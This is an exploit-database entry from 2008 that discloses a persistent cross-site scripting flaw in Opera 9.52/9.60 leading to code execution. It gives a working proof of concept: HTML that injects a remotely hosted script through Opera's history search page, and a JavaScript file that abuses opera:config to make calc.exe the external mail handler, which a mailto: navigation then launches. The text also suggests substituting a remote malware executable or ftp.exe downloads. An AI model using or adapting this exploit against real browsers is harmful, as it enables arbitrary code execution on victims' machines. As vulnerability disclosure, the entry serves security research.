Opera 9.529.60 - Persistent Cross-Site Scripting Code Execution

2008-10-2300:00:00

Aviv Raff

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<!--
Just found a way to use Stefanoâ€™s opera:config idea to execute code from remote.

Instead of changing the HTTP Proxy, an attacker can change the default external 
mail application to â€œ\\evil\malware.exe â€, or to local commands (e.g. ftp.exe 
which can be used to download malicious binaries from remote). Also, there is a 
need to change the â€œMail Handlerâ€ settings to â€œ2â€, so opera will execute the 
external mail application, instead of the default opera mail application.

After changing the settings, the attacker can simply set the location to â€œmailto:â€ to execute the code.


A proof-of-concept which executes the Windows Calculator can be found here: http://raffon.net/research/opera/history/op.html


Cheers,

--Aviv.

http://aviv.raffon.net
-->

<html>
<title>bb</title>
<script>
var z=null;
function x() {
  window.setTimeout("z=window.open('opera:historysearch?q=%2A');window.focus();",1500);
  window.setTimeout("z.close();",3000);
  window.setTimeout("location.href='mailto:'",3000);
}
</script> 
<body>
<a href="#<script src='http://www.raffon.net/research/opera/history/o.js'></script>" onclick="x()">Click me...</a>
</body>
</html>

<o.js>
s=document.createElement("IFRAME");
s.src="opera:config";
document.body.appendChild(s);
s.src="javascript:opera.setPreference('Mail','External Application','c:\\\\windows\\\\system32\\\\calc.exe');opera.setPreference('Mail','Handler','2');parent.window.close()";
</o.js>

# milw0rm.com [2008-10-23]

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